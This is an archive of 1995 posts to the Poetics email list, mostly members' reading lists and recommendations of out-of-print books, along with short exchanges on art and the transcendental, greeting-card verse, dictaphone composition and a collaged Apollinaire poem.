10. Alan Davies, "Peer Pleasure," just published in _Cyanosis_ #2 (e-mail [redacted] for info). Any serious study of a movement, group, clique or tendency might include a well-stated, serious critique. "Peer Pleasure" is an example.

--Gary Sullivan

From: Hank Lazer <[redacted]>
Subject: reading now

In response to luigi-bob drake's request to mention what we're reading & enjoying now:

biography of Coltran by Nisenson; poetry manuscripts by Charles Bernstein and Lisa Samuels; books of poetry by Bei Dao and manuscript materials by an amazing poet (from Suzhou) - Che Qianzi; music by Coltrane & Monk (for classes I'm teaching later in the week); and work by Norman Fischer, Precisely the Point Being Made (a joy of a book) and subsequent manuscripts....

Hank Lazer

From: Tony Green <[redacted]>
Subject: Re: reading now

In response to luigi-bob drake's request to mention what we're reading & enjoying now:

Inventories of Cassiano dal Pozzo's collection of pictures; back numbers of Burlington Magazine; Johanna Drucker's Theorizing Modernism; Stephen Davies's ms on Cage's 4'33"; Thierry de Duve's Au Nom de l'art --pour une archeologie de la modernite which includes a thorough search through contemporary methodologies for saying what "art" might be all in vain! and Art as a Proper Noun; T de D's Resonances du Ready-Made; Robert Kelly's The Loom (a bedside book, for re-reading) Lacan The seminar bks I and II; Alan Loney's recent poems (ms)

Tony Green,

Rather than just list what I've been reading lately (which consists of relatively little beyond recent books in the mail, such as Spencer Selby's, Snow Crash by Neil Stephanson and Watten's Under Erasure [which I read and reread the way Libyans read Khadafi's Little Green Book], then massive numbers of Information Week, CIO, PC Week, Byte and the like for work), I've been mulling over, rereading a series of "Lost Classics" that I wish were still in print. I've gone so far as to think about trying to package a series for a publisher.

By and large, these are longpoems, mostly from the 1960s, that I think everybody should have and read because they're so wonderful:

A particular example of this genre would be Robert Kelly's Axon Dendron Tree (which, with Finding the Measure & 20 Songs will always be the key Kelly books for me because they arrived at just the right time to help me with my own development as a poet, so that I have that deep love for them that goes beyond articulation). Another is Ron Johnson's two Norton books, Book of the Green Man and Valley of the Many Colored Grasses. Another is Frank Stanford's battlefield where the moon said i love you (writing from the job, so may have botched that title some). That may still exist, tho would be hard to find, as would be the case I should think with Grenier's Sentences (a "Chinese box" of 500 4x6 cards, the sort of impossible project that extends Jonathon Brannen's insights sort of toward a limit), a collection that I think all 1,000 subscribers to the T-AMLIT list should read. Not to mention everybody here.

I think somebody could make the argument that the ideas in my own The Alphabet are a direct (if transformed) descendant of the conception of form implicit in Axon Dendron Tree and it still reads wonderfully today.

Anyhow, this after that's what seems powerful & moving and worth mentioning

Ron Silliman

From: cris cheek <[redacted]>

Iain Sinclair - Radon Daughters
Roger Griffin - The Nature of Fascism
Marjorie Perloff - The Futurist Moment
Allen Fisher - Breadboard
Tom Leonard - Reports from the Present
Kathy Acker - My Mother: demonology, a novel
Homi Bhabha - The Location of Culture
Bernadette Mayer - Midwinter Day (know it's old but I just got given a copy)
Clark Coolidge - Solution Passage
William Burroughs - The Letters of 1945 to 1959

Forked Tongues - Comparing 20th Century British and American Literature
Alan Bullock - Hitler and Stalin (Parallel Lives)
Carla Harryman - Memory Play

From: George Bowering <[redacted]>
Subject: Re: bedside reading

My guess is that responders re the question of bedside reading will cook the books. Not me, though. I'm rteading (it has been on my must-read-immediately shelf for years and years) Burroughs's _The Western Lands_. Verrrry relaxin'.

From: Kit Robinson <[redacted]>
Subject: Books on My Table

Reply to: Books on My Table
Here is some of what I have been, am, or will be reading --
lately, currently, presently:

Tom Raworth, Frames (Riva San Vitale: Giona Editions, 1994)
Chris Tysh, In the Name (Hamtramck: Past Tents Press, 1994)
Jessica Grim, Locale (Elmwood: Potes & Poets Press, 1995)
Kenneth Rexroth, Bird in the Bush: Obvious Essays (New York: New Directions, 1959)
Marguerite Duras, Four Novels (New York: Grove Press, 1965)
Helmut Heissenbuttel, Texts, trans. Michael Hamburger (London: Marion Boyers, 1977)
Etel Adnan, The Spring Flowers Own & The Manifestations of the Voyage (Sausalito: Post-Apollo Press, 1990)
Bruce Andrews, Strictly Confidential (Gran Canaria: Zasterle Press, 1994)
Wystan Curnow, Cancer Daybook (Aukland: Van Guard Xpress, 1989)
Rodger Kamenetz, The Jew in the Lotus (San Francisco: HarperCollins, 1994)
John Yau, Hawaiian Cowboys (Santa Barbara: Black Sparrow, 1994)
The Collected Poems of Langston Hughes (New York: Knopf, 1994)

Regards,
Kit Robinson
[redacted]

From: Kenneth Goldsmith <[redacted]>

Books by my bed:

1. Frederic Spotts "Bayreuth: A History of The Wagner Festival" (Yale University Press, 1994). I heard Spotts speak to Stefan Zucker, host of the now sadly defunkt "Opera Fanatic" show on WKCR, 89.9 NYC, for 4 hours giving the real dish on the Nazification of the Festival. This book goes deeper and unlike most books I've read on the Festival, this is juicy stuff. Wonderful read.

2."The Gospel of Sri Ramakrishna" by M (Vedanta Press, 1942) M was to Ramakrishna what Boswell was to Johnson. Need I say more? This is a permanent nightstand fixture.

Next up: "The Tunnel" by William Gass. Anyone read it?

Peace, Kenny G

From: Patrick Phillips <[redacted]>
Subject: Bedside Books

The only book by my bed for the last week and a half has been the new "Collected O'Hara." I've been sleeping very well after my 20-40 minute perusings.

From: Ron Silliman <[redacted]>
Subject: More Sixties Gold

Thinking further of great books from the 1950s and '60s that definitely deserve to be preserved and put forward.

When the Sun Tries to Go On by Kenneth Koch. This 113 page poem is one of the founding documents of the New York School. It was published in a little magazine called Hasty Papers and then released as a book by Black Sparrow in 1969 with a cover and 5 collages by Larry Rivers in an edition of 1500. It's never been republished and Koch chose not to excerpt from the poem in his Selected Poems in hopes of eventually having the whole again in print. It's the most spontaneous and surreal work of Koch's.

Poem of the Cid, translated by Paul Blackburn. The goofiest publication of a major poem during that entire decade and maybe ever this appeared as a "Study Master Publication" in 1966, a competitor with Cliff Notes. It's an infinitely better poem in English than the Merwin (as anything by Blackburn is, even tho I admit that I admire some of Merwin's work. This was the source for Dorn's Gunslinger epic. 151 pages sans Spanish in the original.

Others that come to mind include John Weiners' Hotel Wently Poems (the impact of that book, with the Robert LaVigne illustrations, gets lost in a larger gathering, as does Spicer s Language, for example; my copy of the Weiners

originally belonged to Bill Bathurst during his heavy recreational pharmaceuticals period, bleary pen doodles everywhere; Keith Abbott tells me he s cleaned his act up and is now serving as a consultant to one of the post-communist countries in Eastern Europe), Joanne Kyger s The Tapestry and the Web, Phil Whalen's On Bear's Head (Norman Fischer is working on this as we speak), Kathleen Fraser's What I Want, Curtis Faville's Stanzas for an Evening Out, and possibly Tom Clark's Neil Young. There are some critical texts that also would warrant rescuing: David Ossman's The Sullen Art, the original Olson/Creeley Mayan Letters.

From: Ron Silliman <[redacted]>
Subject: Re: Bedside Books

Books I'm either reading or about to that I forgot because I was scribbling my email at work (avoiding the completion of a white paper on "What is PC Asset Management?"):

Culture on the Brink: Ideologies of Technology, edited by Gretchen Bender & Timothy Druckrey (Bay Press' DIA series), with pieces by Stanley Aronowitz, Paula Treichler (Cary Nelson's SO) on AIDS and Identity, Langdon Winner, Laurie Anderson, Avital Ronell, and Andrew Ross. Anderson is the only one I didn't actively solicit for work when I edited Socialist Review. These other folks are all terrific, but I will be very curious to see if they actually understand what they're talking about in this terrain. If I had a dime for every bad piece of writing on technology meets culture, I'd never work again.

New Left Review 209 (Jameson on Derrida & Marx, Stuart Hall on Carribean identity, Geras on Rorty, some other excellent looking pieces [meaning I haven't read them yet]). Looks like the best issue of NLR in about 5 years.

Made to Seem, Rae Armantrout's new book from Sun & Moon. This is rereading really, since I see most of these poems in manuscript first (often in ten or twelve different versions with just one word or a line break altered). Seeing them in a book is always a curious experience for me since it means that they have now been "pinned down" in a way they seldom seem to be "in life." Here's my favorite this week:

MY PROBLEM

It is my responsibility
to squeeze
the present from the past
by demanding particulars.

When the dog is used
to represent the inner
man, I need to ask,
"What kind of dog is it?"

If a parasitic
metaphor grows all
throughout--good!
Why stop with a barnacle?

A honeysuckle,
thrown like an arm,
around a chain-link fence,
would be far more

articulated,
more precisely repetitive,
giving me the feeling
that I can go on like this

while the woman
at the next table says,
"You smell pretty,"

and sends her small daughter's
laugh, a sputtery orgasm,
into my ear--

though this may not have been
what you intended.

It may not be a problem
when I notice
the way the person shifts.

Rae's poems often have the hallucinated clarity of a dream state (maybe in this case, with the decidedly incestuous undertone of the mother initiating the daughter's "orgasm," one of the dwarf dreams out of Twin Peaks). Behind that lucidity the "narrative frame" is often either unclear or unimportant compared with the rhetoric or structure of the argument at the surface (a particularly Lacanian view of content I suppose). I can't tell if the Bromige allusion in the title is intended or not.

There's also a lengthy piece on Armantrout (the first that I'm aware of) by Jeffrey Peterson in the new Sagetrieb. I continue to be amazed that Rae hasn't been the "crossover" success of LangPo & G1 generally, but where some fall back on beauty, humor, or anger posed as satire, Rae never pulls punches in

her work. The largest book to date is a selected published in France in French. Amazing!

Ron Silliman
[redacted]

From: Mn Center For Book Arts <[redacted]>

As to reading, beside my bed are John Cage: Composed in America, ed. M. Perloff & C. Junkerman (Univ. of Chicago Press, 1994), Robin Blaser's The Holy Forest (Coach House, 1993), How to Make an Antique (artist's book by Karen Wirth & Robt. Lawrence (pub. by the artists, 1989), Kevin Magee's Tedium Drum (lyric &, 1994). I'm carrying around with me Kit Robinson's Balance Sheet (Roof, 1994) and various books of poems by Emily Dickinson (I seem to do that periodically). I'm looking at Keith Smith's Non-Adhesive Binding, which gives fantastic ideas & instruction for real & possible book structures. And I'm reading Tom Peters's The Pursuit of Wow, which is very silly, but refreshes me on the need to be creative in managing & directing an organization and the people who work with me there. I'm also reading manuscripts by Anne Tardos and typesetting/designing manuscripts/books by Mary Margaret Sloan and Myung Mi Kim. A manuscript of sonnets by Tom Mandel is never far away, trying to figure its best way to become the astonishing book it needs to be.

all best,
charles alexander

From: Ryan Knighton <[redacted]>
Subject: Re: bedside manners

Currently I am re-reading/re-viewing the bp Nichol collection "An H in the Heart". Taken before beddy-byes, this book will allow you to have two to three dreams at once. Or so it seems.

From: George Bowering <[redacted]>
Subject: Re: More Sixties Gold

Silliman had some beauties on his list.

Is Michael Rumaker's _The Butterfly_ out of print again? My, that was a nice piece of prose at the time. It was so much UNlike what you were reading in your U.S. Lit course.

From: Carl Lynden Peters <[redacted]>
Subject: bed riddence

i read, and have been reading for the past long while, Leonard Cohen's BOOK OF MERCY before going to sleep at night, because, you see, i never know if i'm going to wake up on th' other side. wtch is interesting. i dont really like Leonard Cohen

Carl

From: maria damon <[redacted]>
Subject: what i'm reading

i like to know what people are reading; it's entertaining and instructive. i'm reading or have recently read cb's a poetics; louis, a book abt. louis armstrong; a ms by lew ellingham about jack spicer's life and circle; ammiel alcalay's after jews and arabs; marilyn halter's between race and ethnicity (a book about cape verdean immigrants to southeastern new england) in connection w/ research on steven jonas; pat shipman's the evolution of racism, a popular-ish history-of-science account of the relationship between darwinism/physical anthropology and ideologies of race and racism (not especially recommended) in connection w/ a project on jewish social scientists, esp. anthropologists. charmed by the discussion of malleable cast so might add that to my list. have ordered some of hannah wiener.--maria damon

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From: Gary Sullivan <[redacted]>
Subject: Groovy Books

An extension of the "Sixties Gold/Classic O.P." discussion:

TEN GROOVY BOOKS

KEY: Groove Factor 1-3 = "Groovy"
Groove Factor 4-6 = "Very Groovy"
Groove Factor 7-9 = "Totally Groovy"
Groove Factor 10 = "Oh My Fucking God That Is Like Totally *Beyond* Groovy"

Call me a fetishist, but what *I* like are "groovy" books. "What the hell does that mean?" "By what measure--'grooviness'?" "Does the work *in* the book have to be 'good' for a book to be considered groovy?" "Can a 'fine print' edition of something be 'groovy'?" Hey, thanks for asking. Well, first of all, *obviously* everyone's going to have different ideas as to what's "groovy." For me, "groovy's measure" is something I feel first in my gut then, later, spend hours on the phone with friends, "verifying." I'll describe the book, after which

point I'll ask, "So, is this groovy, or what?" A "yes" answer from more than 1/2 of all queried friends "verifies" grooviness. Level of queried-friend enthusiasm determines Groove Factor. A "no" answer from more than 1/2 can either (a) lower Groove Factor, or (b) annul said book's "groovy" status. (Book becomes "just-a-book.") No, the work doesn't *necessarily* have to be any good. But, it helps. Lastly, "groovy," like "campy," is a value attributed more by audience member, than maker. Most "fine print" editions--lovely though they might be--are not "groovy." (It's a distinction that admittedly still needs work.) (Chris Stroffolino, as someone in academia who's also interested in contemporary rock music, you might be the perfect person to--perhaps as a thesis?--hammer out the above admittedly "foggy notion"s of "grooviness" into a "sharp" essay.)
So, in no particular order, here are 10 randomly chosen "groovy" books ...
Alfred Tennyson, _Lover's Tale_, Walton Press, no copyright date. This hardcover (library binding?) of Tennyson's poem includes three "found" photos by Bern Porter. I gave this book 1 Groove Unit for each photo. Three photos x 1 Groove Unit ea. = GROOVE FACTOR 3. Chris Mason, _Click Poems_, Shabby Editions, 1982. "The Click Poems were inspired by and are dedicated to the click language of the Bushmen in South Africa, and the Ameslan sign language of the deaf community of the United States." A beautiful mini-chap w/extraordinary work (can't reproduce here; poems use "fermatas", illustrations of lips &etc., scribbled out text) found used in MPLS. GROOVE FACTOR: 5. Hey, wait! The address says "c/o Cris Cheek"! And Cris is on this list! I've "talked to" Cris! GROOVE FACTOR: 7. Jack Spicer, _After Lorca_, (picture of cone = press name?), 1974. A reprint (pirated?). Blue ink. The verso of the title page says: "This book has been typed on an IBM Selectric blah, blah, blah, by Robin Cones and printed by Marco Polio for the Government, with a cover from a photo by blah, blah, blah, in March, 1974." Anyone know who made this book? Delicious! GROOVE FACTOR: 10. Patti Smith, _Seventh Heaven_, Telegraph Books, 1972. Patti's first book, I think. GREAT cover photo: looks like Patti hasn't bathed since 1966, struggling to keep eyes open. Dedication: "this book is dedicated to/ Mickey Spillane/ and/ Anita Pallenberg." How groovy? GROOVE FACTOR 8. James Sherry, _In Case_, Sun & Moon Press, 1981. Great lurid pulp cover, text pages printed on *pulp stock paper*. Jonathan Brannen (a frequent Groove Consultant) mentioned that he'd seen a review of this book that actually *criticized* the book for having been printed on such "cheap" paper. (Critic obviously didn't "get" it.) GROOVE FACTOR (including Brannen's anecdote): 6. Maxine Chernoff, _A Vegetable Emergency_, Beyond Baroque Foundation, 1977. This 8-1/2" x 11" printed on cheap stock was published in an edition of EIGHT THOUSAND FIVE HUNDRED copies. *Tell* me that's not groovy. Bonus Groove Unit as I got it signed by Chernoff in '93, who explained the high press run: "Yeah, they, um, they printed an awful lot of these." GROOVE FACTOR: 6. James Haining (editor), _Salt Lick_ Vol. 2, Nos. 1-2,

1972. Every issue of _Salt Lick_ is groovy, but this one particularly so. Includes Gerald Burns' _Boccherini's Minuet_ as a make-it- yourself chapbook insert (!); also includes poems by Robert Slater, Robert Trammell's "George Washington Trammell," poems by Ann Darr, Stephen Leggett, Bruce Andrews' "Getting Ready To Be Frightened" ("go Gandhi go"), poems by James Haining, drawings by Wilton David, and essays & reviews by Burns, Michael Lally, Al Drake, Andrews, Victor Contoski, Darr, Ron Silliman, Daniel Castelaz, and Haining. Reading this, you get the sense that, in 1972, anything might've happened. Incredible list of Books & Mags received. GROOVE FACTOR: 10. J H Prynne, _Kitchen Poems_, Grossman/Cape Goliard, 1968. Top o' the line poetry, *beautiful* edition (great two-page "trig" drawing in red on title & facing pages). GROOVE FACTOR 9. (Docked one point from perfect score only because I found two copies in the same used bookstore.) (Groove "aura" loss.) Robert Gluck, _Marsha Poems_, Hoddypoll Press, 1973. Instead of stapling this 8-1/2" x 11", the publisher bound it with red string. Also, "Marsha"--the cartoon woman on the cover--has red flowers felt-tip penned onto her dress. GROOVE FACTOR: 5. Tom Weatherly, _Maumau American Cantos_, Corinth Books, 1970. The title? *Way* "seventies." Includes subtitles like: "roi rogers and the warlocks of space." You know what I'm thinkin'? I'm thinkin': GROOVE FACTOR 8. That's ten. Groovy. Yours, Gary

---

From: Rae Armantrout <[redacted]>
Subject: Re: Groovy Books

I think someone should say that Carla Harryman's Memory Play (O Books) is amazing. I guess it will have to be me.

Rae Armantrout

From: cris cheek <[redacted]>
Subject: bedside reading

A slightly more English list of what's balanced (sometimes toppling) from an upturned and suprisingly robust cardboard box by the bed. I sometimes go to bed in the afternoon so this isn't always night-time reading or pre-sleep induction. Also just becasue they're there doesn't mean they'll all get read soon. Some are started, some up for occasional visits and some hot. The piles change over about a six weekly cycle.

Iain Sinclair - Radon Daughters
Roger Griffin - The Nature of Fascism
Kathy Acker - My Mother: demonology, a novel
Jon Rose - Violin Music in the age of SHOPPING

Eric Mottram - Double Your Stake
Tom Leonard - Reports from the Present
Homi Bhabha - The Location of Culture
William Burroughs - The Letters of 1945 to 1959
Bernadette Mayer - Midwinter Day
Allen Fisher - Breadboard
Alan Bullock - Hitler and Stalin, parallel lives
Art & Design Magazine - 'Performance Art Into the 90s'
Macintosh Hypercard User's Guide

From: Jim Pangborn <[redacted]>

An adage from the sixties: the only way out is through. Let me suggest some texts that might be useful as ways to fight back--to critique the academic folkways that oppress us:

Charles Bernstein, "What's Art Got to Do With It . . ." , etc.

John Dewey, _Art as Experience_

Larry Hickman, _John Dewey's Pragmatic Technology_

Ronald deSouza, _The Rationality of Emotion_

Mark Johnson, _The Body in the Mind_ (for the basic idea, not the interminable
Kant-quibbling)

Peter Sloterdijk, _Critique of Cynical Reason_

Bruno Latour, _We Have Never Been Modern_

Jacques Derrida, _Specters of Marx_

. . . many of whom, of copurse, contradict one another completerly . . .

(Sorry these are all boys. I wish I had a good explanation for that. I'd add Donna Haraway to this list except I have some fundamental objections I'm still trying to work through. I doubt it's accidental that my favorite women writers are all poets!)

--Jim the Scrivener

From: Charles Bernstein <[redacted]>

Alan Loney has been
a subscriber to the Poetics List, but has recently signed off. He is the
author of two recommended books:

Missing Parts: Poems 1977-1990 (Christchurch, NZ: Hazard Press, 1992)

and

The Erasure Tapes (Auckland University Press, 1994), which Loney describes in the Preface as "an autobiography in which I refuse to tell the story of my life."

From: Tom Mandel <[redacted]>
Subject: bedside books

I'm in the middle of _Intimate Letters_, Janacek's correspondence with Kamila Stosslova. Also reading _Penser, Classer_ by Georges Perec. This is a collection of short and occasional essays and is wonderful (but untranslated -- don't miss _Avoid_ however the translation of La Disparution, GP's novel without e's: it shd be out just abt now).

> Adin Steinsaltz's _The Long Shorter Way_
> Laura (Riding) Jackson's _Lives of Wives_
> Ron Silliman's N/O
> Harry Mathews' _The Journalist_

are stacked up, and I'm waiting for the new books by Rae Armentrout and Carla Harryman (mentioned here w/in the last week; but I'm not near my booklist and alas can't remember the names) as well as Jessica Grim's Locale. Also eagerly awaiting the new (18th) volume in Patrick O'Brian's ongoing series of novels about his twin characters Aubrey/Maturin and their lives and adventures in the British navy during the Napoleonic wars. Again, I ccan't recall the name of this not-yet-here volume.

Tom Mandel

↑ Index

10. Blair Seagram
Re: Back to poetry
Sat 1 Apr 1995

Dear Lindz:

Sorry about that message earlier today, I spelt your name wrong. I guess I was rushing off and so went the message. I am trying to remember what I said to you and I have a feeling my last comment may have been beside the point.

I think there was *one* point I wanted to make! Of course words are words and by the way they don't have to be poetry to have meaning. And yes of course we are all tied to the time in which we live. And it is true that Western art is not

universal, although we have made a pretty good stab at making American culture universal. One could make a similar case for the English language but I won't because I know what you mean. And yes, it would seem that art is not eternal. That was a bad choice of words.

In a world where the transcendental has almost been abandoned, art might be, for some people, a route of return. It sounds corny I guess, but sometimes when I see primitive art like those wonderful totem poles in BC or art by the Shakers, it makes me realize that people made these things with a belief system in tact. These were not objects as much as they were a physical manifestation of a belief. Now I am perfectly aware that there is a strong current out there that says this type of thinking is impossible today. That if anything, art has been reduced to the fringes of society, artists are marginalized (so what else is new) and the best one can do is parody and more specifically parody the media. Nietzsche said as much one hundred years ago or thereabouts and it looks like his prophecy holds water.

So where does that leave me in terms of a response to you. Only that I am very much in favour of reality and getting a grip on it. And whether I like it or not I was born in the twentieth century and am a product of it. I try to work with what I've got. I try to speak to my time, otherwise I have nothing to say.

When I think of Lincoln's speech at Gettysburg I think of poetry. It is extremely powerful today. In the hands of a lesser person the speech would not have been remembered, as indeed Lincoln believed it would not. Yes I guess we do remember the men that died on that battlefield and yes we would know of this battle even if there had been no Gettysburg Address, but America would be a far poorer nation without those words, than it is with them. And I would venture to say that for me, not being an American, the history of the civil war may only be interesting because of the Gettysburg Address.(And books like Gone With The Wind!)

Best to you.

blair

↑ Index

11. Blair Seagram

Re: Signs

Sat 1 Apr 1995

Thank you Steven Shoemaker for the best laugh of the day.

bs

↑ Index

12. Mn Center For Book Arts
Re: Back to poetry
Sun 2 Apr 1995

Blair Seagram, in talking about the possibility or impossibility of art as a return, perhaps to the transcendental, you referred to a belief many people hold -- "Now I am perfectly aware that there is a strong current out there that says this type of thinking is impossible today. That if anything, art has been reduced to the fringes of society, artists are marginalized (so what else is new) and the best one can do is parody and more specifically parody the media. Nietzsche said as much one hundred years ago or thereabouts and it looks like his prophecy holds water."

While I sometimes find myself working within the trappings of this sort of thinking, I also wonder what such thoughts have to do with artists working from and sometimes within such cultures as the Hopi and Zuni, or hundreds of cultures throughout the world (and by no means are all the practices of such artists "traditional" in senses understood by their culture or this generalized Western one) whose practices deserve to be considered as legitimate or central as any other, including the one in which we hold ourselves up to Nietzschean prophecies.

I know that nothing you say argues against my thinking on this, but I just wanted to respond with something of what our cultural limitations provoke in my own thinking.

charles alexander

↑ Index

13. Mn Center For Book Arts
Desire
Sun 2 Apr 1995

Dodie Bellamy said, in response to Rapunzelian invitations to "come up," "I was surprised to find such a sexy message on the poetics listserve."

Surprise,
no no

we are such creatures of electronic longing

charles alexander

↑ Index

14. Ryan Knighton
Re: Back to poetry
Sun 2 Apr 1995

Blair, I was following your discussion with Lindz and was intrigued by your comments on Lincoln. Given what you said about the necessity of his "words", would you go so far as to say that poetry (words) makes things happen? This has been on my tongue lately. Because if poetry does make things happen, what happens when you write against poetry, try to resist language?

I also agree with your comments that this is an age abandoning the transcendental. But if you write in resistance to language, widening its holes, flirting with contradictions or the its take upon "reality", is this not a transcendental pursuit? Perhaps it's just mask in place stuff. (looking forward to your reading next Wedn. Lindz)

Ryan

↑ Index

15. Gary Sullivan
UNBRIDLED (for Cris)
Sun 2 Apr 1995

UNBRIDLED (for Cris)

being,

35 LINES FROM APOLLINAIRE'S ALCOOLS

My boat leaves for America tomorrow
I thrust my tongue out at the waves
From lips stirring the silent water
Of my mouth. Great ships drag love-
Less shadows across the earthly tug

Of you my love, my earth. I'm lost:
My heart, mirror of earth, is brok-
En. I no longer know anything, only
Love; condemn me to die, for I love
No one. This day the sun sprawls a-

Cross the sky, & the streets are a-
Wash with fresh rain. Slowly I make
My way, brow clouded with fire, sad
Since everything is ours loved mad-
Ly away. & now, my boat floats pale

In solid space. It passes you by as
You pass by, displaying at once the
Effort & effect. The drowned follow
In my wake to their own pale lovers
Crouched under waves of the burning

Sun. Nothing's dead but what hasn't
Yet existed. Bells and shrill music
Will announce my arrival in America
To know & at last be devoured there
Where I'll live on beneath Hawthorn

Flowers, lakes & light. Never shall
I return, but in new clothes wander
Hat in hand and striding right foot
First in all directions drag myself
Beneath the streets beneath earth I

Once loved. My boat trembles on the
Horizon, all black, & vanquished by
The clatter of brick waves, blacker
Than these hands folded together, O
Our clustered senses woven in light

Yours,

Gary

↑ Index

16. Chris Stroffolino

Re: Back to poetry

Sun 2 Apr 1995

It's great to see the word transcendental pop up again...this time it seems people are giving it a little more breathing room...there are these half-hearted admissions of eating it on the sly as if it were junk food, or worse, health food which is politically irresponsible these days... But seriously--I guess I'm thinking about "if we make a revolution make it for fun" from D.H.L. and wondering if the infantilization of the tran- scendental Derrida flaunted, and the politicization of it Perelman wavers

"makes new advances" on the transcendental which is probably a style before it's anything else...and what of the idea that the transcendental is an feeling of scope that includes, potential, all others--that allows access to what could defeat it if you couldn't keep up the illusion of returning to it, which may be an

illusion because of course silly you're really there all the time--- etc..... chris s.

↑ Index

17. Kevin Killian
Re: Desire
Sun 2 Apr 1995

> *Dodie Bellamy said, in response to Rapunzelian invitations to "come up,"*
> *"I was surprised to find such a sexy message on the poetics listserve."*
>
> *Surprise,*
> *no no*
>
> *we are such creatures of electronic longing*
>
> *charles alexander*

Charles,

Of course your point is right on the mark. But, I wasn't talking of the individuals--just the discourse.

Nice chatting with you at Margy's party all those months ago.

Dodie

↑ Index

18. cris cheek
Re: UNBRIDLED (for Cris)
Sun 2 Apr 1995

Hi Gary, feeling ravished by your response. Bright sunshine here, buds opening, a snow-gum eucalyptus swaying in the garden. Fascinating the gradual process by which the whip of the sapling begins to take the more solid core forms of the 'mature' tree.

I wish I could write that simply and develop forms that cleanly. Takes my breath away. When I try that it quickly gets messy. Maybe it's the difference between the grid development of the U.S. city as opposed to the organic internal logic of the sprawl that is London. The weighted influences of the horizontal and the vertical.

It prompts a discussion about look (poem shape - focus) and control, roughness and smoothness of tone and texture. Out of a brief exchange I was having with Chris Stoffolino re 'philosophical irony'. I multiple mailed it by mistake. But now I'm glad I did.

Thanks,

cris

↑ Index

19. cris cheek
Cassette Recorders / Ginsberg
Sun 2 Apr 1995

Hi Tony, curious to hear of your driving / improvising / recording around Auckland. I've been using a dictaphone extensively for about 4 years. Take it almost everywhere and continually engage with recording language materials, notes, phrases, snippets of conversation (usually not overheard). Both 'outdoors and indoors' the whispering cusps between 'public and private'. Sounds kind of creepy (and can attract funny looks) but I take care not to be intrusive and sometimes repress the impulse altogether. It's intriguing how 'place', particularly ambience, effects the committing of the work. I asked Ginsberg specifically to talk about the compositional process of 'Wichita Vortex Sutra' and although I've never actually transcribed what was a lengthy interview the gist of his reply was to do with his process of transcription (the laborious bit) and his use of blue pencil to more shape the poem. I submit my transcriptions to several other stages of process. But I can recommend the dictaphone if you're into a rough edged collocation of time and space. I record in very short phrases (mostly) and run on day after day into night. Worked on and off with a cumbersome tape machine both in the car and sat out on the street before that. But I find the dictaphone terrific. The tapes last for ages (you begin to enjoy accidental windows from one take into another as practiced more assiduously through cut-up by Burroughs). Not everything I write is involved with this process by any means but it's currently a persistent interest.

regards
cris

↑ Index

20. Loss Glazier
Re: POETICS READING LIST MARCH 1995 (long)
Sun 2 Apr 1995

I just want to say that I think it's terrific that Kenneth has compiled this list of readings.

It's extremely useful to be able to browse these suggestions!

Especially since the NY Times Book Review, etc., doesn't seem to exactly cover our areas of interest...

Bravo Kenneth!

PS. I'll be posting this on the EPC. It might also be useful for classes, etc., suggested readings, or just as a way to see what's being passed around...

↑ Index

21. Tony Green
Re: Responsibility
Sun 2 Apr 1995

Chris:

O Rapunzel, I never knew it was a wig.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

22. Tony Green
Re: poetry v history
Sun 2 Apr 1995

Dear George, Thanks for post. Protocols in history,philosophy etc are interestingly controlled. There is abook somewhere 1980's called The Poetics of Philosophy. Paul Barolsky used the phrase the peotics of art history in the early 90's and I am aiming at something along those lines -- have been talking abt a poetics of art history for quite a while. Substitute for poetics: "erotics" and you'd have the philosophers and others really worried. My feeling is that it might be easier to work thru anything but professional history mags and go for poetical marginal ones.

Message is flashing that the computer to which I'm linked has got a full disc. The e facility has been going for a short while only and has proliferated here to the extent that it's like a jameed telephone swithcboard. Maybe this will get thru.....

Best wishes

Tony Green,
e-mail: [redacted]

post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

23. Jonathan Brannen

Hallmark verse

Sun 2 Apr 1995

Call me elitist but to paraphrase those most astute cultural critics Beavis and Butthead, greeting card verse sucks!

Have a smiley face day and say hi! to Barney for me,
Jonathan Brannen

↑ Index

24. cris cheek

Re: responsibility

Sun 2 Apr 1995

Hi Tony, I feel like I've been fed a line -

```
* * * * * * * * * * * * * * * * * * * * * * * * *
*                                               *
*                                               *
*                  MIRACLE                      *
*              Cure for Baldness                *
*                                               *
*                * * * *                        *
*                                               *
*                JESUS SHAVES!                  *
*                                               *
*                                               *
* * * * * * * * * * * * * * * * * * * * * * * * *
```

yours insincerity, Slithery Plait

↑ Index

25. Tony Green
Hallmark
Sun 2 Apr 1995

[GREETINGS TO FRIENDS & RELATIONS IN KANSAS]

Thy sins are forgiven, Wichita!
Thy lonesomeness annulled, O Kansas dear!
as the western Twang
prophesied
thru banjo, when lone cowboy walked the railroad
track
past and empty station towards the
sun
sinking giant-bulbed orange down the box canyon --
Music strung over his back
and empty-handed singing on this planet earth
I'm a lonely Dog, O Mother!

quoted without permission and slightly mislineated

[CONDOLENCE]

A FRIGHTFUL RELEASE

A bag which was left and not only taken but turned away was not found. The place was shown to be very like the last time. A piece was not exchanged, not a bit of it, a piece was left over. The rest was mismanaged.

quoted without permission

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

26. Mn Center For Book Arts
Re: Hallmark verse
Mon 3 Apr 1995

Jonathan's distaste for Hallmark verse is something I'm afraid I share, although I've learned a bit from its contextual and social discussion here.

But for another take on pop culture, albeit a ways from Hallmark, I've just finished reading REVOLUTION IN THE HEAD: THE BEATLES' RECORDS AND THE SIXTIES, by Ian MacDonald, pub. Henry Holt & Co, 1994, which I'd recommend. It's contentious & sometimes misguided & extremely critical of aleatoric methods of making art, but it's provoking in its attempt to see that body of music, recording by recording, as linked to, embedded within, and in some cases, leading, the events of its times. And somehow reading a book which is composed of the brief bursts, going single song by song, is, in its dispersal of energy (although definitely not in its sense of language possibilities or accomplishment), is something like reading a collection of poems.

charles alexander

↑ Index

27. Mark Roberts
Re: ian macdonald
Mon 3 Apr 1995

> *Wasn't there an Ian McDonald in the Doobies? Some kinda McDonald, anyway.*
>
> *Alan*

I went to uni with a Ian McDonald in Sydney in the early 80s. He is now a musical director working in theatre.....

Mark Roberts
Australian Writing OnLine

↑ Index

28. Mark Roberts
